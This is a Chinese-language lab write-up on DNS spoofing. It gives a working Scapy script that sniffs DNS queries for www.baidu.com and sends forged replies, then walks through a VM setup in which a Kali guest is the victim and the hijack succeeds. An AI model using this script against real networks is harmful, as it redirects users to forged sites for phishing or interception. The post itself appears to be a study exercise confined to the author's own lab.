DNS欺骗
原理:
dns欺骗又可以叫作中间人人攻击,主要是通过拦截受害人在访问某个网站时设备向外发送的dns请求,然后给出伪造的dns应答,实现欺骗过程。
实验脚本如下:
from scapy.layers.dns import * from scapy.all import * def dns_spoof(pkt): testlist = ["www.baidu.com"] #haslayer()用来判断数据包中是否包含某一个协议,getlayer()用来提取出该协议内容 if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: ip = pkt.getlayer(IP) udp = pkt.getlayer(UDP) dns = pkt.getlayer(DNS) testdomain = dns.qd.qname.decode()[: -1]
#构造dns应答数据包,其中192.168.1.1为要伪造的网站的ip地址 if testdomain in testlist: resp = IP(src=ip.dst, dst=ip.src) resp /= UDP(sport=udp.dport, dport=udp.sport) resp /= DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, rdata="192.168.1.1")) send(resp) print("DNS的应答已经被篡改") sniff(filter="udp dst port 53", iface="WLAN", prn=dns_spoof)
实验过程:
因为我是用的wifi,所以在iface设置为WLAN。这里把虚拟机中的kali设为受害者,实体机作为攻击机。
1.查看实体机ip地址:
注意这里查看的ip应当为上图箭头指向区域所示的IPv4地址,然后把kali的网关设置为这个地址。
2.设置虚拟机网关:
这里使用的虚拟机为vm。通过点击上方的——编辑——虚拟网络编辑,来到如下界面
点击NAT设置,设置网关为前面所叫的ip地址:
另一个方法设置网关:在kali终端中使用如下命令
sudo route add default gw 网关地址
检验是否成功设置可以使用命令:route 查看
3.执行脚本
先运行上述脚本,然后在虚拟机中执行dig @222.222.222.222 www.baidu.com
成功劫持。讲一下这里的222.222.222.222是中国电信提供的dns服务器。一开始我用本地dns服务器测试,发现脚本同样返回劫持成功,但是在kali中不能直观的收到反馈。到底成没成功还待分析。